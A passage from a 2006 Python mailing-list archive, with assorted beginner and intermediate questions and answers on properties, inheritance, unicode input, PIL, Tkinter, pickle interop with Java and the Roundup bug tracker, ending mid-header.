__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From danb_83 at yahoo.com  Thu Oct  5 01:03:43 2006
From: danb_83 at yahoo.com (Dan Bishop)
Date: 4 Oct 2006 22:03:43 -0700
Subject: Hands on Documentation for Python methods and Library
In-Reply-To: <mailman.1313.1160024110.10491.python-list@python.org>
References: <mailman.1313.1160024110.10491.python-list@python.org>
Message-ID: <1160024623.466210.297640@h48g2000cwc.googlegroups.com>

On Oct 4, 11:54 pm, Wijaya Edward <ewij... at i2r.a-star.edu.sg> wrote:
> Hi,
>
> One can do the following with Perl
>
> $ perldoc -f chomp
> $ perldoc -f function_name
>
> or
>
> $ perldoc List::MoreUtils
> $ perldoc Some::Module
>
> Can we do the same thing in Python?

You can use the help() function at the Python interactive prompt.



From gene.tani at gmail.com  Mon Oct  2 11:45:31 2006
From: gene.tani at gmail.com (gene tani)
Date: 2 Oct 2006 08:45:31 -0700
Subject: Sort by domain name?
In-Reply-To: <7xmz8ekayz.fsf@ruckus.brouhaha.com>
References: <mailman.1094.1159801691.10491.python-list@python.org>
	<7xmz8ekayz.fsf@ruckus.brouhaha.com>
Message-ID: <1159803931.803028.197770@k70g2000cwa.googlegroups.com>


Paul Rubin wrote:
> "js " <ebgssth at gmail.com> writes:
> > Here, domain name doesn't contain subdomain,
> > or should I say, domain's part of 'www', mail, news and en should be
> > excluded.
>
> It's a little more complicated, you have to treat co.uk about
> the same way as .com, and similarly for some other countries
> but not all.  For example, subdomain.companyname.de versus
> subdomain.companyname.com.au or subdomain.companyname.co.uk.
> You end up needing a table or special code to say
> how to treat various countries.

Plus, how do you order "https:", "ftp", URLs with "www.", "www2." ,
named anchors etc?

Gentle reminder: is this homework?  And you can expect better responses
if you show youve bootstrapped yourself on the problem to some extent.



From onurb at xiludom.gro  Tue Oct 24 06:36:00 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 24 Oct 2006 12:36:00 +0200
Subject: forcing a definition to be called on attribute change
In-Reply-To: <mailman.1048.1161680224.11739.python-list@python.org>
References: <mailman.1048.1161680224.11739.python-list@python.org>
Message-ID: <453dec91$0$23269$426a34cc@news.free.fr>

Michael Malinowski wrote:
> Hey All, 
> Apologies if this is a stupidly obvious or simple question. If I have a
> class with a series of attributes, is there a way to run a function
> definition in the class

s/run a function definition in the class/call a method/

> whenever a specific attribute is changed?

Yes : properties.

> Something like the following 
> 
> class cSphere() :

OT : prefixing classes names with 'c' is totally unpythonic.
 	
> 	def __init__(self):
> 		Self.myAttr = 0

s/Self/self/

> 	def runThisFunctionWhenMyAttrChanged() :
> 		Pass


class MyClass(object):
  def __init__(self):
    self.my_attr = 0 # will call the setter
    # use direct attribute access instead if you don't
    # want to call the setter, ie:
    # self._my_attr = 0

  def _get_my_attr(self):
    return self._my_attr

  def _set_my_attr(self, val):
    self._my_attr = val
    self.runThisFunctionWhenMyAttrChanged()

  my_attr = property(_get_my_attr, _set_my_attr)

HTH

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From Roberto.Bonvallet at cern.ch  Fri Oct 20 10:50:38 2006
From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet)
Date: Fri, 20 Oct 2006 14:50:38 +0000 (UTC)
Subject: list comprehension (searching for onliners)
References: <mailman.836.1161347985.11739.python-list@python.org>
Message-ID: <ehannu$ruf$1@cernne03.cern.ch>

Gerardo Herzig wrote:
[...]
> and so on...what i need to do is some list comprehension that returns me 
> something like
[...]

You don't _need_ a list comprehension, you just _want_ one :)

[...]
> Ill keeping blew off my hair and drinking more cofee while searching for 
> this damn onliner im looking for.

I know, trying to put complex logic in one line makes you do all that.

Go for the multiliner!
-- 
Roberto Bonvallet


From bjobrien62 at gmail.com  Tue Oct  3 22:09:53 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 3 Oct 2006 19:09:53 -0700
Subject: Need help with syntax on inheritance.
Message-ID: <1159927793.600354.150330@b28g2000cwb.googlegroups.com>

If you are deriving a new class from another class,
that you must (I assume) know the initializer of the other class.

So in myClass

import array
class myClass(arrary.array):
   def __init__(self, now here I need to put array's constructor
parameters..., then mine):
      array.array.__init__(self, typecode[, initializer])
      self.mine = mine

So I'm confused...
array has a typecode parameter and an optional initiializer...
So could you help me with the class construction here please?



From bob at passcal.nmt.edu  Tue Oct 31 13:43:45 2006
From: bob at passcal.nmt.edu (Bob Greschke)
Date: Tue, 31 Oct 2006 11:43:45 -0700
Subject: Overriding traceback print_exc()?
Message-ID: <Ae6dndxQ39_EBNrYnZ2dnUVZ_oydnZ2d@nmt.edu>

I want to cause any traceback output from my applications to show up in one 
of my dialog boxes, instead of in the command or terminal window (between 
running on Solaris, Linux, OSX and Windows systems there might not be any 
command window or terminal window to show the traceback messages in).  Do I 
want to do something like override the print_exc (or format_exc?) method of 
traceback to get the text of the message and call my dialog box routine?  If 
that is right how do I do that (monkeying with classes is all still a grey 
area to me)?

I kind of understand using the traceback module to alter the output of 
exceptions that I am looking for, but I'm after those pesky ones that should 
never happen. :)

Thanks!

Bob




From jackson at hotmail.com  Wed Oct 11 00:53:38 2006
From: jackson at hotmail.com (Jackson)
Date: Tue, 10 Oct 2006 21:53:38 -0700
Subject: Difference between unindexable and unsubscriptable
Message-ID: <eghtcj$lrh$1@skeeter.ucdavis.edu>

What is the difference between "object is unindexable" and "object is 
unsubscriptable"?

I would like to test if an object can accept:   obj[0]

 >>> from sets import Set
 >>> Set([1,2])[0]
TypeError: unindexable object

 >>> 3[0]
TypeError: unsubscriptable object

It seems like each of these errors can be replaced with a single type error.


From Leo.Kislov at gmail.com  Wed Oct 11 00:27:06 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 10 Oct 2006 21:27:06 -0700
Subject: does raw_input() return unicode?
References: <12iln7en9ipit77@corp.supernews.com>
	<452b5190$0$29833$9b622d9e@news.freenet.de>
	<mailman.178.1160467772.11739.python-list@python.org>
	<452BD8A2.4060708@v.loewis.de>
	<mailman.248.1160531991.11739.python-list@python.org>
Message-ID: <1160540826.344494.273930@m73g2000cwd.googlegroups.com>


Theerasak Photha wrote:
> On 10/10/06, "Martin v. L?wis" <martin at v.loewis.de> wrote:
> > Theerasak Photha schrieb:
> > >> At the moment, it only returns unicode objects when invoked
> > >> in the IDLE shell, and only if the character entered cannot
> > >> be represented in the locale's charset.
> > >
> > > Why only IDLE? Does urwid or another console UI toolkit avoid this somehow?
> >
> > I admit I don't know what urwid is; from a shallow description I find
> > ("a console user interface library") I can't see the connection to
> > raw_input(). How would raw_input() ever use urwid?
>
> The other way around: would urwid use raw_input() or other Python
> input functions anywhere?
>
> And what causes Unicode input to work in IDLE alone?

Other applications except python are actually free to implement unicode
stdin. python cannot do it because of backward compatibility. You can
argue that python interactive console could do it too, but think about
it this way: python interactive console deliberately behaves like a
running python program would.



From http  Wed Oct  4 07:39:18 2006
From: http (Paul Rubin)
Date: 04 Oct 2006 04:39:18 -0700
Subject: What value should be passed to make a function use the
	defaultargument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
	<7xac4cpefr.fsf@ruckus.brouhaha.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<mailman.1251.1159960100.10491.python-list@python.org>
	<slrnei76i8.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <7xd5982tuh.fsf@ruckus.brouhaha.com>

Antoon Pardon <apardon at forel.vub.ac.be> writes:
> I think it would become something like:
> 
>   def myrepeat(*args):
>     obj = args[0]
>     tail = args[1:]
>     newobj = Process(obj)
>     newargs = (newobj,) + tail
>     return itertools.repeat(*newargs)

Too messy.  Just write:

  def myrepeat(obj, *times):
    return itertools.repeat(Process(obj), *times)


From ak at silmarill.org  Fri Oct 13 14:19:32 2006
From: ak at silmarill.org (Rainy)
Date: 13 Oct 2006 11:19:32 -0700
Subject: Newbie question - leading zeros
In-Reply-To: <20061013130805.T91050@eris.io.com>
References: <20061013130805.T91050@eris.io.com>
Message-ID: <1160763572.744578.36810@m73g2000cwd.googlegroups.com>


eldorado wrote:
> I have looked around and cannot seem to find a way to strip leading zeros
> off of values in a dictionary. Basically, I am looking to do a for loop
> and any value that has one or more leading zeros would be stripped. Any
> pointers would be appreciated. Thanks
>
> --
> Randomly generated signature
> ICMP: The protocol that goes PING!

import string
>>> string.lstrip('0001', '0')
'1'

Hope this willhelp

 -Rainy



From hanumizzle at gmail.com  Wed Oct 11 01:44:37 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 01:44:37 -0400
Subject: OT: Sarcasm and irony
In-Reply-To: <1160544879.915425.250200@m7g2000cwm.googlegroups.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<12iosfh75stcf0e@corp.supernews.com>
	<1160544879.915425.250200@m7g2000cwm.googlegroups.com>
Message-ID: <463ff4860610102244y348d8b5alc8247e84775d1cd3@mail.gmail.com>

On 10 Oct 2006 22:34:39 -0700, mensanator at aol.com <mensanator at aol.com> wrote:

> > Like Alanis Morisette said about the song "Isn't it Ironic":
> > What's ironic about the song is that it doesn't actually
> > contain any irony.
>
> Any? Don't people plan June weddings thinking the weather
> will be nice? And isn't one of the defintions of irony when
> things turn out the opposite of what you expect?

I hate June. June sucks. Blindly following some Roman custom relating
to Juno (the real reason why people have June weddings) + hot, humid
weather + completely impractical formal wear with a thick, unbreathing
layer of shirts and paper thin pants that never quite fit is teh sux.

I may be brown, but this time of the year in the Northern Hemisphere
when the weather is chilly but not intolerable, and one can read by
the moonlight is, OTOH, teh win.

-- Theerasak


From steve at holdenweb.com  Fri Oct 13 07:36:29 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 13 Oct 2006 12:36:29 +0100
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <slrneiulrh.43c.apardon@rcpc42.vub.ac.be>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>	<eg03un$se8$1@news.albasani.net>	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>	<eg17jd$gsr$1@news.albasani.net>	<mailman.1295.1159996151.10491.python-list@python.org>	<slrneic180.55m.apardon@rcpc42.vub.ac.be>	<mailman.1431.1160125174.10491.python-list@python.org>	<slrneic807.55m.apardon@rcpc42.vub.ac.be>	<mailman.1439.1160128583.10491.python-list@python.org>	<slrneicbd7.55m.apardon@rcpc42.vub.ac.be>	<mailman.1449.1160131361.10491.python-list@python.org>	<slrneicdjt.55m.apardon@rcpc42.vub.ac.be>	<egl1sr$d1s$1@wake.carmen.se>
	<slrneiulrh.43c.apardon@rcpc42.vub.ac.be>
Message-ID: <egntm1$fos$1@sea.gmane.org>

Antoon Pardon wrote:
> On 2006-10-12, Magnus Lycka <lycka at carmen.se> wrote:
> 
>>Antoon Pardon wrote:
>>
>>>Well maybe he didn't intend that, but how is the reader of the
>>>documentation to know that? The reader can only go by how
>>>things are documented. If those are not entirely consistent
>>>with the intend of the programmer, that is not the readers
>>>fault.
>>
>>I don't think I ever assumed that it was right to call functions
>>with keyword arguments if they weren't defined with keyword
>>parameters,
> 
> 
> I'm not sure I follow here. AFAICS, you can't define keyword
> parameters. You can give default values to parameters but
> this is orthogonal to calling a function with keywords.
> 
Yup, that's a point that the documentation doesn't make stringly enough.

> If we somehow want to seperate parameters in those that
> can be used with a keyword and those that don't it has
> to be something different than providing a default value
> to that parameter.
> 
Indeed.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From codecraig at gmail.com  Wed Oct 18 10:40:52 2006
From: codecraig at gmail.com (abcd)
Date: 18 Oct 2006 07:40:52 -0700
Subject: Image.draft -- what are the modes that I can use?
In-Reply-To: <1161181585.245045.41680@b28g2000cwb.googlegroups.com>
References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com>
	<1161179376.827555.239810@i3g2000cwc.googlegroups.com>
	<mailman.687.1161179634.11739.python-list@python.org>
	<1161181585.245045.41680@b28g2000cwb.googlegroups.com>
Message-ID: <1161182452.235096.127750@i42g2000cwa.googlegroups.com>

fredrik,
   in other posts you have mentioned the use of gifmaker.  i have tried
that with the following:

I am using gifmaker.py from PIL v1.1.5 on python 2.4.1.

CODE
----------------------------------------------------------------
import ImageGrab, gifmaker

seq = []

while keepOnGoing:
    im = ImageGrab.grab()
    seq.append(im)

fp = open("out.gif", "wb")
gifmaker.makedelta(fp, seq)
fp.close()

---------------------------------------------------------------

however I am getting this error:

Exception in thread Thread-3:
Traceback (most recent call last):
  File "c:\Python24\lib\threading.py", line 442, in __bootstrap
    self.run()
  File "c:\foo.py", line 10, in run
    gifmaker.makedelta(fp, seq)
  File "c:\gifmaker.py", line 79, in makedelta
    for s in getheader(im) + getdata(im):
  File "c:\Python24\Lib\site-packages\PIL\GifImagePlugin.py", line 383,
in getdata
    ImageFile._save(im, fp, [("gif", (0,0)+im.size, 0,
RAWMODE[im.mode])])
KeyError: 'RGB'

Any ideas?  Basically I want to make an animated GIF out of a bunch of
images taken using the ImageGrab module.



From onurb at xiludom.gro  Tue Oct 31 04:02:30 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 31 Oct 2006 10:02:30 +0100
Subject: Cann't connect zope server
In-Reply-To: <1162270615.087859.193690@m73g2000cwd.googlegroups.com>
References: <1162270615.087859.193690@m73g2000cwd.googlegroups.com>
Message-ID: <45471129$0$2857$426a74cc@news.free.fr>

steve wrote:
> Can I ask question about zope here?

Unless it has more to do with Python than with Zope itself, you'd better
ask on Zope's mailing-list.

> I started Zserver but could not connect to it using firefox.The runzope
> gave message:
> 
> /usr/bin/zope/instance/bin/runzope -X debug-mode=on
> 2006-10-31 12:50:45 INFO ZServer HTTP server started at Tue Oct 31
> 12:50:45 2006
>         Hostname: 0.0.0.0
>         Port: 8080
> 2006-10-31 12:50:45 CRITICAL Zope A user was not specified to setuid
> to; fix this to start as root (change the effective-user directive in
> zope.conf)

And this has absolutely nothing to do with Python.


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From ak at silmarill.org  Sat Oct 14 21:28:45 2006
From: ak at silmarill.org (Rainy)
Date: 14 Oct 2006 18:28:45 -0700
Subject: Ok. This IS homework ...
In-Reply-To: <1160869363.651855.204820@i3g2000cwc.googlegroups.com>
References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
	<1160867758.584637.101360@m73g2000cwd.googlegroups.com>
	<1160869363.651855.204820@i3g2000cwc.googlegroups.com>
Message-ID: <1160875725.621498.229030@m7g2000cwm.googlegroups.com>


spawn wrote:
> > Also, you never break out of your deepest loop, why are you using two
> > nested infinite-loops anyway?
> >
> > Regards,
> > Brett Hoerner
>
> Ummmmmm ..because I'm new to programming?  Actually, they do end.  If I
> move my "guess" variable outside the outermost loop, then it becomes
> infinte.  I know, I tried it.
>
> You guys are fast!  I'll reread my documentation and try a few more
> thing (I kept telling myself that running_total and subotal don't need
> to be different variables!) and see what I get.
>
> As for that last post (I don't remember your name), ummmmmm ... WOW!
> This is BEGINNING Python.  That looks far too advanced for me.

Try to think logically about how this has to be done. You need a
variable that holds the running total. You need variable that holds
user input. You need to add user input to running total and compare it
to max value. First it's often a good idea to start with pseudo-code:

loop:
  get input
  add input to running total
  if running total = goal, exit loop

what you do instead:

loop 1:
  get input
  subtotal = input
  loop 2:
    get input
    set running total to sum of first input and second input
    if running total = goal: print 'congratulations...'

Not sure what you want to do if total gets over max value.. you want to
subtract user's next input? Or just terminate?

I think your mistake is that you tried to write code and use commands
you read about in the manual before clearly understanding what you want
the code to do. Instead of solving two problems one by one you try to
solve two problems at the same time, which is tenfold as difficult. The
first problem is understanding how the logic of program will work, and
the second, how to use commands properly to carry out that logic. Which
is fine, I make this mistake often enough..

Hope this helps.. I didn't want to write out a solution 'cause you'll
learn better if you do it on your own.

 -Rainy



From bignose+hates-spam at benfinney.id.au  Mon Oct  9 21:25:09 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 10 Oct 2006 11:25:09 +1000
Subject: Good sign for Roundup as Python bug tracker (was: Python to use a non
	open source bug tracker?)
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<tCJUg.134232$zy5.1829450@twister1.libero.it>
	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1259.1159965132.10491.python-list@python.org>
	<egdcop$4c0$1@wake.carmen.se>
Message-ID: <87hcyd9d3e.fsf_-_@benfinney.id.au>

Magnus Lycka <lycka at carmen.se> writes:

> Fredrik Lundh wrote:
> > python.org could still need a few more roundup volunteers, but
> > it's not like nobody's prepared to contribute manhours. don't
> > underestimate the community.
>
> So, how many have offered to help? Is this information available in
> some public repository?

I don't yet know of private discussions leading to it, but Brett
Cannon has made an unofficial announcement that Roundup has been
picked:

    I am making an unofficial announcement here that it looks like we
    will be able to go with Roundup as the issue tracker for
    python-dev. Now this does not mean people should stop volunteering
    by emailing infrastructure at python.org! We have not finalized
    which of the volunteers will be asked to help admin the Roundup
    installation so if you want to help please email us with your
    timezone, rough amount of time you can donate per week, and your
    Roundup experience.

    This announcement is unofficial because there has been an offer
    for professional Roundup hosting. We are awaiting the details of
    the offer before deciding how to proceed. Once we have decided how
    we are going to handling hosting there will be an official
    announcement with more details.

    <URL:http://sayspy.blogspot.com/2006/10/looks-like-we-will-be-going-with.html>

-- 
 \      "The face of a child can say it all, especially the mouth part |
  `\                                     of the face."  -- Jack Handey |
_o__)                                                                  |
Ben Finney



From mxywp at 126.com  Sun Oct 22 00:59:07 2006
From: mxywp at 126.com (mxywp)
Date: Sun, 22 Oct 2006 12:59:07 +0800 (CST)
Subject: question: script to input data into a web
	page and then retrieve the result?
Message-ID: <453AFA9B.00003F.31158@bj126app31.126.com>

    
-------------- next part --------------
An HTML attachment was scrubbed...
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From http  Fri Oct 13 06:19:26 2006
From: http (Paul Rubin)
Date: 13 Oct 2006 03:19:26 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>
	<mailman.308.1160564020.11739.python-list@python.org>
	<452f51a3$0$30999$426a74cc@news.free.fr>
	<mailman.427.1160729697.11739.python-list@python.org>
Message-ID: <7xd58w4ixd.fsf@ruckus.brouhaha.com>

"Fredrik Lundh" <fredrik at pythonware.com> writes:
> and a zillion other more or less interesting research projects.  I don't see any traces
> of the kind of ecosystems and market awareness that exist for Zope, Django, and
> TurboGears (or for that matter, Rails and Mason), for any other Python web pro-
> gramming tool.

Twisted?


From horpner at yahoo.com  Mon Oct 23 13:43:22 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 23 Oct 2006 19:43:22 +0200
Subject: encoding of sys.argv ?
References: <20061023130504.26823717@autremonde>
Message-ID: <slrnejpvr0.b4.horpner@FIAD06.norwich.edu>

On 2006-10-23, Jiba <jibalamy at free.fr> wrote:
> Hi all,
>
> I am desperately searching for the encoding of sys.argv.
>
> I use a Linux box, with French UTF-8 locales and an UTF-8
> filesystem. sys.getdefaultencoding() is "ascii" and
> sys.getfilesystemencoding() is "utf-8". However, sys.argv is
> neither in ASCII (since I can pass French accentuated
> character), nor in UTF-8. It seems to be encoded in "latin-1",
> but why ?

It will most likely be in the encoding of the terminal from which
you call Python, in other words, sys.stdin.encoding.  Your only
hope of accepting non-US-ASCII command line arguments in this
manner is that sys.stdin.encoding is divined correctly by Python.

-- 
Neil Cerutti
Facts are stupid things. --Ronald Reagan


From svenn.are at bjerkem.de  Sun Oct  8 16:44:28 2006
From: svenn.are at bjerkem.de (Svenn Bjerkem)
Date: 8 Oct 2006 13:44:28 -0700
Subject: Some advice needed on an Tkinter app that I try to write
Message-ID: <1160340268.859731.231460@i42g2000cwa.googlegroups.com>

Hi,

Armed with Programming Python 3rd Edition and Learning Python 2nd
edition I try to write an application which I at first thought was
simple, at least until I was finished with the GUI and then wanted to
start putting some data into it.

As you will see, the program is not yet finished but I post what I have
so far.

It will read a spice file and extract the interfaces to the
subcircuits. The purpose of the program is to assign the interface pins
to sides of a rectangular box symbol which will represent the
subcircuit in a graphical design tool dedicated for electronics design
(Cadence to be precise) The output of the tool will be a lisp like text
format which can be read into that tool and there the actual generation
of the graphical symbol will take place.

The name of the subcircuits will be shown in the ScrolledList Widget.
When the user click on one of the entries of that widget, the pins of
the interface will be shown in the AssignList widget. (I have not
managed this, yet) If the user select any of the ScrolledList entries
(Single selection) the current setting is shown in the other widgets.
This implies that the user can move from one subcircuit to the next
before all pins have been placed. (I need some kind of an in-memory
database to take care of the data)

In the AssignList widget, either the user can select one or more
entries (extended selection) and press one of the four buttons
left,top,bottom,right and the pins will be moved to the respective
PinList widget. This process goes on until all the pins have been
assigned a side. When a pin is moved from the AssignList to one of the
PinList widgets, the pin is deleted from the AssignList.

If the user by accident move a pin to the wrong side, he can select the
wrongly placed pin and press the "Move here" button under the proper
PinList widget. Pins will always be placed at the bottom of a PinList.
This will make a rudimentary rearrange possible: If the Move Here
button of the same PinList widget is pressed, the selected pins
(extended selection) are moved to the bottom. (in an extended selection
the highest index will be moved first)

When I have come this far, I will add a menu line with options to save
the whole database to the text format which I can read into Cadence.

My biggest problem is probably that I have to implement a model view
controller but none of the books cover how to do this in Python. I have
tried to search on the web with google and find a lot of descriptions,
but so far nothing that make me more clever.

The problem which I have been chewing on the whole weekend is how to
tell the AssignList to load the pins belonging to the subcircuit
selected in ScrolledList.

Any ideas?
--
Svenn

#!/bin/env python

from Tkinter import *

class ScrolledList(Frame):
	def __init__(self, data, parent=None):
		Frame.__init__(self, parent)
		self.pack(expand=YES, fill=BOTH)
		self.makeWidgets(data)

	def handleList(self, event):
		index = self.listbox.curselection()
		label = self.listbox.get(index)
		self.listbox.insert(END, label)
		self.runCommand(label)

	def makeWidgets(self, options):
		sbar = Scrollbar(self)
		list = Listbox(self, relief=SUNKEN)
		sbar.config(command=list.yview)
		list.config(yscrollcommand=sbar.set)
		sbar.pack(side=RIGHT, fill=Y)
		list.pack(side=LEFT, expand=YES, fill=BOTH)
		pos=0
		for label in options:
			list.insert(pos,label)
			pos += 1
		list.bind('<<ListboxSelect>>', self.handleList)
		list.bind('<Double-1>', self.handleList)
		list.configure(selectmode=EXTENDED)
		self.listbox = list

	def runCommand(self, selection):
		print 'You selected in: ', self
		g_from=self

#----------------------------------------------------------
# A Widget to set some pins
#----------------------------------------------------------
class PinList(Frame):
	def __init__(self, text="", parent=None):
		Frame.__init__(self, parent)
		self.pack(expand=YES, fill=BOTH)
		self.makeWidgets(text)
	def makeWidgets(self, text):
		frame = LabelFrame(self, text=text)
		list = Listbox(frame, relief=SUNKEN)
		sbar = Scrollbar(frame)
		button = Button(frame, text='Move here',
			command=self.handleList)
		sbar.config(command=list.yview)
		list.config(yscrollcommand=sbar.set)
		frame.pack(side=LEFT, expand=YES, fill=BOTH)
		button.grid(column=0, row=1, sticky=E+W)
		list.grid(column=0, row=0, sticky=N+S+E+W)
		sbar.grid(column=1, row=0, sticky=N+S)
		frame.columnconfigure(0, weight=1)
		frame.rowconfigure(0, weight=1)
		list.bind('<<ListboxSelect>>', self.handleList)
		self.listbox = list
	def handleList(self, event):
		index = self.listbox.curselection()
		label = self.listbox.get(index)
	def runCommand(self, selection):
		print 'You selected: ', selection

class AssignList(Frame):
	def __init__(self, data, parent=None):
		Frame.__init__(self, parent)
		self.pack(expand=YES, fill=BOTH)
		self.makeWidgets()
	def makeWidgets(self):
		b1 = Button(self,
			text="L\ne\nf\nt").grid(column=0, row=1, sticky=N+S)
		b2 = Button(self,
			text="Top").grid(column=1, row=0, sticky=E+W)
		b3 = Button(self,
			text="Bottom").grid(column=1, row=2, sticky=E+W)
		b4 = Button(self,
			text="R\ni\ng\nh\nt").grid(column=2, row=1, sticky=N+S)
		l1 = Listbox(self).grid(column=1, row=1, sticky=N+S+E+W)
		self.columnconfigure(1, weight=1)
		self.rowconfigure(1, weight=1)
		self.listbox = l1

# Test variables ------------------------------------------

data = {'buffer'  : ['output', 'input', 'avdd', 'avss'],
	'inverter': ['outputx', 'input', 'avdd', 'agnd'],
	'adc'     : ['d3', 'd2', 'd1', 'd0', 'anin', 'aref', 'clk']}

# ---------------------------------------------------------

#root = Tk()
class AppGui(Frame):
	def __init__(self,parent=None):
		Frame.__init__(self,parent=None)
		self.pack(expand=YES, fill=BOTH)
		self.make_widgets()
	def make_widgets(self):
		raw = LabelFrame(self, text="The Raw SUBCKT Data")
		raw.pack(fill="both", expand="yes")

		raw_pane = PanedWindow(raw)
		raw_pane.pack(fill="both", expand="yes")

		subckt_frame = LabelFrame(raw_pane, text="The SUBCKT Entities")
		subckt_frame.pack(side="left", fill="both", expand="yes")
		subckt_list = ScrolledList(data, subckt_frame)
		subckt_list.pack(side="left", fill="both", expand="yes")

		assign_frame = LabelFrame(raw_pane, text="Assign pins to sides")
		assign_frame.pack(side="left", fill="both", expand="yes")
		assign_list = AssignList(data, assign_frame)
		assign_list.pack(side="left", fill="both", expand="yes")

		raw_pane.add(subckt_frame)
		raw_pane.add(assign_frame)

		pins = LabelFrame(self, text="The assigned pins")
		pins.pack(fill="both", expand="yes")
		left_frame = PinList(parent=pins, text="Left side")
		left_frame.pack(side="left", fill="both", expand="yes")
		top_frame = PinList(parent=pins, text="Top side")
		top_frame.pack(side="left", fill="both", expand="yes")
		bottom_frame = PinList(parent=pins, text="Bottom side")
		bottom_frame.pack(side="left", fill="both", expand="yes")
		right_frame = PinList(parent=pins, text="Right side")
		right_frame.pack(side="left", fill="both", expand="yes")

AppGui().mainloop()



From Sloan.Kohler at gmail.com  Mon Oct  9 21:03:52 2006
From: Sloan.Kohler at gmail.com (Sloan.Kohler at gmail.com)
Date: 9 Oct 2006 18:03:52 -0700
Subject: (semi-troll): Is Jython development dead?
Message-ID: <1160442232.144014.109470@i42g2000cwa.googlegroups.com>

Is Jython development dead or has it just seemed that way for over a
year?. The jython.org website has a recent new appearance (but no new
content) and there is some message traffic on the developer site at
Sourceforge.  However nothing has been released for over a year (i.e.
no support for Python 2.3, 2.4 or 2.5).  Is seems that IronPython may
have a better future than Jython.

I know this is a bit of a troll but I'm concerned about choosing Jython
as the basis for a cross platform test scipt execution environment.
Does anyone know if a Jython update is imminent?

- Sloan



From 06virg at gmail.com  Fri Oct  6 07:10:54 2006
From: 06virg at gmail.com (virg)
Date: 6 Oct 2006 04:10:54 -0700
Subject: help on pickle tool
In-Reply-To: <mailman.1443.1160128807.10491.python-list@python.org>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<mailman.1404.1160111129.10491.python-list@python.org>
	<1160124108.779860.236940@i3g2000cwc.googlegroups.com>
	<mailman.1428.1160124488.10491.python-list@python.org>
	<1160125387.706686.70090@h48g2000cwc.googlegroups.com>
	<mailman.1434.1160126159.10491.python-list@python.org>
	<1160126999.826707.75010@i42g2000cwa.googlegroups.com>
	<mailman.1443.1160128807.10491.python-list@python.org>
Message-ID: <1160133054.271586.98900@c28g2000cwb.googlegroups.com>

Hi,

Yes, using python client we are able deserialize data using

r = pickle.loads(result).

where result is a response from the server and r is a dictionary after
deserialization.
For serialisation at the server written in python using
pickle.dumps(result, 2)

Now we are developing web based Client using java. So we are writing
client in java. If server and client are in python we dont see any
problems since we are using same serialisation tool "pickle". Now we
have seen problems because we are writing client in java. we did not
find equivalent function on java for this tool pickle. If i use
standard java desrialisation functions i am getting error as invalid
header becasue of incompatibility between python and java. Please help
me if you have any clue

regards,
- Virg

hanumizzle wrote:
> On 6 Oct 2006 02:29:59 -0700, virg <06virg at gmail.com> wrote:
> > Yes your are right. I will send a dictionary object from the server to
> > the client.
> > I already have client which is written in python. But we are migrating
> > the python client which is a command line tool  to Web UI client
> > (java).
>
> Please explain 'Web UI'. Can Python perform an equivalent function?
> 
> -- Theerasak



From http  Thu Oct 12 07:34:53 2006
From: http (Paul Rubin)
Date: 12 Oct 2006 04:34:53 -0700
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
